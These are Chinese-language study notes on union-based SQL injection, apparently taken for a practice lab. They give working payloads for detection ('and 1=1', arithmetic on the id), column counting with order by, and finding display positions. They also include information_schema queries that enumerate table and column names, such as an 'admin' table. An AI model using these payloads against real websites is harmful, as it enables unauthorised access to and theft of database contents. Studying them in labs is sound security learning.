注意:仅用于技术讨论,切勿用于其他用途,一切后果与本人无关!!!
一、SQL注入本质
用户输入的数据被当做SQL代码执行[ 1.用户能够控制输入 2.]
数据库查询语句 增、删、改、查
寻找:
闭合(传入引号,让传入的引号和原本的引号配对、注释掉后面的引号)
引号内的东西是数据不是代码
select * from news where id = "1" and 1=1 -- qwe "
检测:
检测SQL注入:
and 1=1 正确
and 1=2 错误
如果数据库的字段是数字类型:强转
数字运算法:-1 (注意:+不可以,get传参会把+理解为空格,将'+'url编码为%2b)
select * from news where id =2-1 =>返回1的值则一定存在
先假设->去验证->根据结果->错的继续改,正确往下走
二、显错注入靶场做法
如何通过SQL注入获取数据库信息(联合查询法)
union联合查询(把两条语句一起执行)
A语句 union B语句(隐形条件:字段相同)
B语句我们可以控制,所以我们需要知道A字段是多少
order by 字段存在则正常输出,错误则报错
排序(正常情况下开发一般只会输出第一条数据)
显错位 选择性输出
库名 database() =>表名 =>字段名
表名:
1.系统自带库
tables=>数据库中库和表的对应
select table_name from information_schema.tables where table_schema=database() limit 0,1
columns=>
select column_name from information_schema.columns where table_schema=database() and table_name="admin" limit 0,1
2.猜(枚举常用的库名)
union select 1,2 from admin(news ...)
步骤:
order by 判断字段
id = 1.1 union select 1,2,3,4 判断显错位(使前面报错,从而不输出)
通过系统自带的information_schema来得里面的表名
limit 第几行开始输出(最低是0),输出几行数据